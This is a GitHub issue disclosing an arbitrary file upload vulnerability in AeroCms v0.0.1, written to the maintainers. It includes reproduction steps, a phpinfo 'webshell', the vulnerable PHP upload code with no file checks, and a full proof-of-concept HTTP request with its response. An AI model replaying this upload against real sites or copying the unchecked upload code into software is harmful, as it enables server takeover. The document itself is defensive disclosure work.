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An arbitrary file upload vulnerability was found #3

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Hello I want to report an arbitrary file upload vulnerability that I found in AeroCms v0.0.1, through which we can upload webshell and control the web server.

Step to Reproduct

After entering the background of website management, click "Profile" to enter the interface of "/admin/profile. PHP", and you can see that the function of uploading pictures exists.

AeroCMS

Dashboard

Posts ▾

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Comments

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Profile

Welcome to the Admin Panel, admin!

Username

Password

Firstname

Lastname

Email

Image

未选择文件。

We create a new webshell file and name it shell.php :

```
<?php phpinfo(); ?>
```

Next, we select the file and click "Update Profile" to upload the file

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Profile **1**

Welcome to the Admin Panel, admin!

Username

admin

Password

.....

Firstname

Lastname

Email

admin@example.net

Image

浏览... shell.php **2**

Subscriber

Update Profile **3**

When upload success access '/images/shell.php'

PHP Version 5.6.30-0+deb8u1



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|---|---|
| System | Linux edb57692a3e5 5.4.0-42-generic #46~18.04.1-Ubuntu SMP Fri Jul 10 07:21:24 UTC 2020 x86_64 |
| Build Date | Feb 8 2017 08:50:48 |
| Server API | Apache 2.0 Handler |
| Virtual Directory Support | disabled |
| Configuration File (php.ini) Path | /etc/php5/apache2 |
| Loaded Configuration File | /etc/php5/apache2/php.ini |
| Scan this dir for additional .ini files | /etc/php5/apache2/conf.d |
| Additional .ini files parsed | /etc/php5/apache2/conf.d/05-opcache.ini, /etc/php5/apache2/conf.d/10-pdo.ini, /etc/php5/apache2/conf.d/20-apcu.ini, /etc/php5/apache2/conf.d/20-curl.ini, /etc/php5/apache2/conf.d/20-gd.ini, /etc/php5/apache2/conf.d/20-intl.ini, /etc/php5/apache2/conf.d/20-json.ini, /etc/php5/apache2/conf.d/20-mcrypt.ini, /etc/php5/apache2/conf.d/20-mysql.ini, /etc/php5/apache2/conf.d/20-mysqli.ini, /etc/php5/apache2/conf.d/20-pdo_mysql.ini, /etc/php5/apache2/conf.d/20-readline.ini, /etc/php5/apache2/conf.d/20-xsl.ini |
| PHP API | 20131106 |
| PHP Extension | 20131226 |
| Zend Extension | 220131226 |
| Zend Extension Build | API220131226,NTS |
| PHP Extension Build | API20131226,NTS |
| Debug Build | no |
| Thread Safety | disabled |
| Zend Signal Handling | disabled |
| Zend Memory Manager | enabled |
| Zend Multibyte Support | provided by mbstring |
| IPv6 Support | enabled |
| DTrace Support | enabled |
| Registered PHP Streams | https, ftps, compress.zlib, compress.bzip2, php, file, glob, data, http, ftp, phar, zip |
| Registered Stream Socket Transports | tcp, udp, unix, udg, ssl, sslv3, tls, tlsv1.0, tlsv1.1, tlsv1.2 |
| Registered Stream Filters | zlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, mcrypt.*, mdecrypt.* |

This program makes use of the Zend Scripting Language Engine:
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies
with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2016, by Zend Technologies



Confiuration

We can see that the file was successfully uploaded and executed

Vulnerable Code

```
27 <?php
28
29 if(isset($_POST['update_user']))
30 {
31     $username = mysqli_real_escape_string($connection, trim($_POST['username']));
32     $password = mysqli_real_escape_string($connection, trim($_POST['password']));
33     $user_firstname = mysqli_real_escape_string($connection, trim($_POST['user_firstname']));
34     $user_lastname = mysqli_real_escape_string($connection, trim($_POST['user_lastname']));
35     $user_email = mysqli_real_escape_string($connection, trim($_POST['user_email']));
36     $user_role = mysqli_real_escape_string($connection, trim($_POST['user_role']));
37
38     $user_image = $_FILES['user_image']['name'];
39     $user_image_tmp = $_FILES['user_image']['tmp_name'];
40
41     move_uploaded_file($user_image_tmp, "../images/$user_image");
42
43     if(empty($user_image))
44     {
45         $query = "SELECT * FROM users WHERE username = $session_username";
46         $select_image = mysqli_query($connection, $query);
47
48         while($row = mysqli_fetch_array($select_image))
49         {
50             $user_image = $row['user_image'];
51         }
52     }
53
54     $update_user_profile_query = "UPDATE users SET password = '$password', user_firstname = '$user_firs
55                                 user_lastname = '$user_lastname', user_email = '$user_email', user_rol
56                                 username = '$username', user_image = '$user_image' WHERE username = '$
57
58     $result = mysqli_query($connection, $update_user_profile_query);
59
60     if($result)
61     {
62         echo "User profile updated successfully";
63     }
64     else
65     {
66         echo "User profile update failed";
67     }
68 }
```

No file checking before uploading

POC

Injection Point

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Content-Disposition: form-data; name="user_image"; filename="shell.php"
Content-Type: image/jpeg
```

Request

POST /admin/profile.php HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----
-423983190532431556521178267050
Content-Length: 1109
Origin: <http://127.0.0.1:8080>
Connection: close
Referer: <http://127.0.0.1:8080/admin/profile.php>
Cookie: PHPSESSID=dh3hq98sqsj0eapgn43efegfb3
Upgrade-Insecure-Requests: 1

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Content-Disposition: form-data; name="username"

1111

-----423983190532431556521178267050

Content-Disposition: form-data; name="password"

123.com

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Content-Disposition: form-data; name="user_firstname"

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Content-Disposition: form-data; name="user_lastname"

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Content-Disposition: form-data; name="user_email"

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Content-Disposition: form-data; name="user_image"; filename="shell.php"

Content-Type: image/jpeg

test is test

<?php phpinfo();?>

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Content-Disposition: form-data; name="user_role"

Subscriber

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Content-Disposition: form-data; name="update_user"

Update Profile

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response

HTTP/1.1 200 OK
Date: Wed, 10 Aug 2022 02:45:01 GMT
Server: Apache/2.4.10 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 8474
Connection: close
Content-Type: text/html; charset=UTF-8

```
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">

<title>AeroCMS Admin Panel</title>

<!-- Bootstrap Core CSS -->
<link href="css/bootstrap.min.css" rel="stylesheet">

<!-- Custom CSS -->
<link href="css/sb-admin.css" rel="stylesheet">

<!-- Custom Fonts -->
<link href="font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">

<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
    <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
    <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->

<link rel="stylesheet" href="css/styles.css">

<script type="text/javascript" src="https://www.gstatic.com/charts/loader.js"></script>

<script src="https://cloud.tinymce.com/stable/tinymce.min.js"></script>

<script src="js/jquery.js"></script>

<div id="wrapper">

    <!-- Navigation -->
    <nav class="navbar navbar-inverse navbar-fixed-top" role="navigation">
        <!-- Brand and toggle get grouped for better mobile display -->
        <div class="navbar-header">
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        <button type="button" class="navbar-toggle" data-toggle="collapse" data-
target=".navbar-ex1-collapse">
            <span class="sr-only">Toggle navigation</span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
        </button>
        <a class="navbar-brand" href="index.php">AeroCMS</a>
    </div>
    <!-- Top Menu Items -->
    <ul class="nav navbar-right top-nav">
        <!-- <li><a href='#>Users Online: </a></li> -->
        <li><a href='#>Users Online: <span class="useronline"></span></a></li>
        <li><a href=" ../index.php">View Site</a></li>

        <li class="dropdown">
            <a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="fa fa-
user"></i> <b class="caret"></b></a>
            <ul class="dropdown-menu">
                <li>
                    <a href="#"><i class="fa fa-fw fa-user"></i> Profile</a>
                </li>
                <li class="divider"></li>
                <li>
                    <a href=" ../includes/logout.php"><i class="fa fa-fw fa-power-off">
</i> Log Out</a>
                </li>
            </ul>
        </li>
    </ul>
    <!-- Sidebar Menu Items - These collapse to the responsive navigation menu on small
screens -->
    <div class="collapse navbar-collapse navbar-ex1-collapse">
        <ul class="nav navbar-nav side-nav">
            <li>
                <a href="index.php"><i class="fa fa-fw fa-dashboard"></i> Dashboard</a>
            </li>

            <li>
                <a href="javascript:;" data-toggle="collapse" data-
target="#posts_dropdown"><i class="fa fa-fw fa-arrows-v"></i> Posts <i class="fa fa-fw fa-
caret-down"></i></a>
                <ul id="posts_dropdown" class="collapse">
                    <li>
                        <a href=" ../posts.php">View All Posts</a>
                    </li>
                    <li>
                        <a href=" ../posts.php?source=add_post">Add Posts</a>
                    </li>
                </ul>
            </li>

            <li>
                <a href=" ../categories.php"><i class="fa fa-fw fa-wrench"></i>
Categories</a>
            </li>

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        <li>
            <a href="./comments.php"><i class="fa fa-fw fa-file"></i> Comments</a>
        </li>
        <li>
            <a href="javascript:;" data-toggle="collapse" data-target="#users"><i
class="fa fa-fw fa-arrows-v"></i> Users <i class="fa fa-fw fa-caret-down"></i></a>
            <ul id="users" class="collapse">
                <li>
                    <a href="./users.php">View All Users</a>
                </li>
                <li>
                    <a href="./users.php?source=add_user">Add User</a>
                </li>
            </ul>
        </li>
        <li>
            <a href="./profile.php"><i class="fa fa-fw fa-file"></i> Profile</a>
        </li>
    </ul>
</div>
<!-- /.navbar-collapse -->
</nav>

<div id="page-wrapper">

    <div class="container-fluid">

        <!-- Page Heading -->
        <div class="row">
            <div class="col-lg-12">
                <h1 class="page-header">
                    Welcome to the Admin Panel,
                    <small>!</small>
                </h1>

                <form action="" method="post" enctype="multipart/form-data">

                    <div class="form-group">
                        <label for="username">Username</label>
                        <input type="text" name="username" value="1111" class="form-
control">

                    </div>

                    <div class="form-group">
                        <label for="password">Password</label>
                        <input type="password" name="password" value="123.com"
class="form-control">

                    </div>

                    <div class="form-group">
                        <label for="user_firstname">Firstname</label>
                        <input type="text" name="user_firstname" value="" class="form-
control">

                    </div>

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        <div class="form-group">
            <label for="user_lastname">Lastname</label>
            <input type="text" name="user_lastname" value="" class="form-
control">

        </div>

        <div class="form-group">
            <label for="user_email">Email</label>
            <input type="email" name="user_email" value="" class="form-
control">

        </div>

        <div class="form-group">
            <label for="user_image">Image</label>
            

            <input type="file" name="user_image" class="form-control">
        </div>

        <div class="form-group">
            <select name="user_role" class="form-control">
                <option value="Subscriber">Subscriber</option>

                <option value='Admin'>Admin</option>

            </select>

        </div>

        <div class="form-group">
            <input type="submit" value="Update Profile" name="update_user"
class="btn btn-primary">
        </div>

    </form>

</div>
</div>
<!-- /.row -->

</div>
<!-- /.container-fluid -->

</div>
<!-- /#page-wrapper -->

</div>
<!-- /#wrapper -->

```

```
<script src="js/scripts.js"></script>
```

I hope you can fix this vulnerability as soon as possible. I will report this vulnerability to CVE. Looking forward to your reply

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

